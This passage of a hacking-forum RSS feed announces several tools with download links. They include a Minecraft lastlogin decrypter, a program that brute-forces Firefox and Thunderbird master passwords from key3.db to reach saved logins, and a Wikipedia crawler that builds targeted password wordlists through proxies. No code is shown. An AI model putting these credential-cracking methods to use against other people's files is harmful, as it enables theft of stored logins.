<span style="font-weight: bold;">Download:</span> <a href="http://uppit.com/41mg5su388nc/mcloginreader.jar" target="_blank">http://uppit.com/41mg5su388nc/mcloginreader.jar</a><br />
<br />
<span style="font-weight: bold;">Source:</span> <a href="http://www.hackcommunity.com/Thread-Java-Decrypt-minecraft-lastlogin" target="_blank">http://www.hackcommunity.com/Thread-Java...-lastlogin</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] MozillaRecovery - crack master passwords]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-MozillaRecovery-crack-master-passwords</link>
			<pubDate>Wed, 26 Dec 2012 18:01:41 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-MozillaRecovery-crack-master-passwords</guid>
			<description><![CDATA[<span style="font-weight: bold;"><span style="font-size: large;"><span style="color: #32CD32;">MozillaRecovery</span></span><br />
</span><br />
<span style="font-weight: bold;">Requirements:</span> Java 7<br />
<br />
<img src="http://s7.directupload.net/images/121226/l7e9kgas.png" border="0" alt="[Image: l7e9kgas.png]" /><br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">About the program</span></span><br />
<br />
Once you start the program, it searches automatically for default locations of your key3.db in Firefox and, if not found, in the Thunderbird application directory. I prepared and tested this for Windows 7 and Linux. If it is not working for your OS, please tell me the default location for it. I just need the information to put that in. You can change the location by hand, of course.<br />
<br />
key3.db is the file that is used to recover the master password. You can start a wordlist attack on that. The program ships with a default worldlist, but it is small (I didn't want to upload a wordlist file that adds several megabytes to the program). You can use your own list by changing the location.<br />
<br />
Alternatively you can generate the words by activating the "generate words" checkbox. Although I used threads, word generation is limited to a word length of five (a bruteforce attack with a wordlength of six would take several days, so I don't allow that) and the alphabet a-zA-Z by now. I got about 30000 password tests per second on my machine.<br />
<br />
Once you got the master password, it is very easy to obtain saved login information from signons.sqlite, since both, Thunderbird and Firefox, will show usernames and passwords in plain text. (google if you don't know how)<br />
<br />
Conclusion: Always set a master password if you save login information with Thunderbird or Firefox. Otherwise the login information can be obtained without any problems.<br />
<br />
<span style="font-weight: bold;"><span style="color: #00BFFF;">About the Source</span></span><br />
<br />
The only (non-standard) library I used is apache.log4j for logging purposes. You will see a properties file and a log folder. The standard logging level is WARN. If you change this level to INFO or DEBUG, the master passwords found with the program will be saved in there, so be careful with that option.<br />
<br />
<span style="color: #bbffff;">Lines of code without comments and empty lines:</span> 914<br />
<span style="color: #bbffff;">Lines of code with everything else:</span> 1141<br />
<br />
<span style="color: #bbffff;">The code was tested for:</span> Firefox 9.01 Thunderbird 9.01, Windows XP, Vista, 7, Arch Linux<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Problems?</span></span><br />
<br />
Please make sure that you have Java 7.<br />
If there are still problems, post the logging file that is in the logs folder.<br />
<br />
Source: <a href="http://www.multiupload.nl/LVZ5N60W1F" target="_blank">http://www.multiupload.nl/LVZ5N60W1F</a><br />
Program: <a href="http://www.multiupload.nl/R7L1D4M3E5" target="_blank">http://www.multiupload.nl/R7L1D4M3E5</a>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;"><span style="font-size: large;"><span style="color: #32CD32;">MozillaRecovery</span></span><br />
</span><br />
<span style="font-weight: bold;">Requirements:</span> Java 7<br />
<br />
<img src="http://s7.directupload.net/images/121226/l7e9kgas.png" border="0" alt="[Image: l7e9kgas.png]" /><br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">About the program</span></span><br />
<br />
Once you start the program, it searches automatically for default locations of your key3.db in Firefox and, if not found, in the Thunderbird application directory. I prepared and tested this for Windows 7 and Linux. If it is not working for your OS, please tell me the default location for it. I just need the information to put that in. You can change the location by hand, of course.<br />
<br />
key3.db is the file that is used to recover the master password. You can start a wordlist attack on that. The program ships with a default worldlist, but it is small (I didn't want to upload a wordlist file that adds several megabytes to the program). You can use your own list by changing the location.<br />
<br />
Alternatively you can generate the words by activating the "generate words" checkbox. Although I used threads, word generation is limited to a word length of five (a bruteforce attack with a wordlength of six would take several days, so I don't allow that) and the alphabet a-zA-Z by now. I got about 30000 password tests per second on my machine.<br />
<br />
Once you got the master password, it is very easy to obtain saved login information from signons.sqlite, since both, Thunderbird and Firefox, will show usernames and passwords in plain text. (google if you don't know how)<br />
<br />
Conclusion: Always set a master password if you save login information with Thunderbird or Firefox. Otherwise the login information can be obtained without any problems.<br />
<br />
<span style="font-weight: bold;"><span style="color: #00BFFF;">About the Source</span></span><br />
<br />
The only (non-standard) library I used is apache.log4j for logging purposes. You will see a properties file and a log folder. The standard logging level is WARN. If you change this level to INFO or DEBUG, the master passwords found with the program will be saved in there, so be careful with that option.<br />
<br />
<span style="color: #bbffff;">Lines of code without comments and empty lines:</span> 914<br />
<span style="color: #bbffff;">Lines of code with everything else:</span> 1141<br />
<br />
<span style="color: #bbffff;">The code was tested for:</span> Firefox 9.01 Thunderbird 9.01, Windows XP, Vista, 7, Arch Linux<br />
<br />
<span style="color: #00BFFF;"><span style="font-weight: bold;">Problems?</span></span><br />
<br />
Please make sure that you have Java 7.<br />
If there are still problems, post the logging file that is in the logs folder.<br />
<br />
Source: <a href="http://www.multiupload.nl/LVZ5N60W1F" target="_blank">http://www.multiupload.nl/LVZ5N60W1F</a><br />
Program: <a href="http://www.multiupload.nl/R7L1D4M3E5" target="_blank">http://www.multiupload.nl/R7L1D4M3E5</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[HC Official] WikiWordsCrawler - create wordlists with real words]]></title>
			<link>http://www.hackcommunity.com/Thread-HC-Official-WikiWordsCrawler-create-wordlists-with-real-words</link>
			<pubDate>Sun, 25 Nov 2012 16:57:41 +0000</pubDate>
			<guid isPermaLink="false">http://www.hackcommunity.com/Thread-HC-Official-WikiWordsCrawler-create-wordlists-with-real-words</guid>
			<description><![CDATA[<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FFA500;">WikiWordsCrawler</span></span></span><br />
<br />
<img src="http://s14.directupload.net/images/121124/vbrxy9ma.png" border="0" alt="[Image: vbrxy9ma.png]" /><br />
<br />
This program creates wordlists with real words by crawling Wikipedia-articles.<br />
<br />
<span style="font-weight: bold;">Uses:</span><br />
<br />
I don't know what you will use this for, but here are some possibilities:<br />
<ul>
<li>password generator: target special groups by crawling words in the specified topic (set the startword to this topic)</li>
<li>cryptanalysis: use wordlists to find out if you actually got a message</li>
<li>create programs that need real words, i.e. spellchecker, vocabulary trainer</li></ul>
<br />
<span style="font-weight: bold;">Usage:</span><br />
<br />
Specify the desired language of your words by changing the URL.<br />
Set min and max length of your words.<br />
Set the number of words.<br />
Set the startword the crawler shall begin with searching. <br />
Specify where the wordlist shall be saved.<br />
Click "crawl".<br />
<br />
You can use threads to get results faster. But be careful: Wikipedia might block you. In this case you can use proxies. Just check the "use proxies" checkbox and set a proxylist.<br />
The proxylist has the format: <br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>address1:port1<br />
address2:port2</code></div></div>
<br />
<span style="font-weight: bold;">Requirements:</span> Java Runtime &gt;= 1.6<br />
Tested for Linux and Windows 7.<br />
<br />
<span style="font-weight: bold;">Download Source: </span> <a href="http://www.multiupload.nl/HCVWSB254C" target="_blank">http://www.multiupload.nl/HCVWSB254C</a><br />
<br />
<span style="font-weight: bold;">Download Program: </span> <a href="http://www.multiupload.nl/WS6LQQT6XQ" target="_blank">http://www.multiupload.nl/WS6LQQT6XQ</a>]]></description>
			<content:encoded><![CDATA[<span style="font-size: medium;"><span style="font-weight: bold;"><span style="color: #FFA500;">WikiWordsCrawler</span></span></span><br />
<br />
<img src="http://s14.directupload.net/images/121124/vbrxy9ma.png" border="0" alt="[Image: vbrxy9ma.png]" /><br />
<br />
This program creates wordlists with real words by crawling Wikipedia-articles.<br />
<br />
<span style="font-weight: bold;">Uses:</span><br />
<br />
I don't know what you will use this for, but here are some possibilities:<br />
<ul>
<li>password generator: target special groups by crawling words in the specified topic (set the startword to this topic)</li>
<li>cryptanalysis: use wordlists to find out if you actually got a message</li>
<li>create programs that need real words, i.e. spellchecker, vocabulary trainer</li></ul>
<br />
<span style="font-weight: bold;">Usage:</span><br />
<br />
Specify the desired language of your words by changing the URL.<br />
Set min and max length of your words.<br />
Set the number of words.<br />
Set the startword the crawler shall begin with searching. <br />
Specify where the wordlist shall be saved.<br />
Click "crawl".<br />
<br />
You can use threads to get results faster. But be careful: Wikipedia might block you. In this case you can use proxies. Just check the "use proxies" checkbox and set a proxylist.<br />
The proxylist has the format: <br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>address1:port1<br />
address2:port2</code></div></div>
<br />
<span style="font-weight: bold;">Requirements:</span> Java Runtime &gt;= 1.6<br />
Tested for Linux and Windows 7.<br />
<br />
<span style="font-weight: bold;">Download Source: </span> <a href="http://www.multiupload.nl/HCVWSB254C" target="_blank">http://www.multiupload.nl/HCVWSB254C</a><br />
<br />
<span style="font-weight: bold;">Download Program: </span> <a href="http://www.multiupload.nl/WS6LQQT6XQ" target="_blank">http://www.multiupload.nl/WS6LQQT6XQ</a>]]></content:encoded>
		</item>
	</channel>
</rss>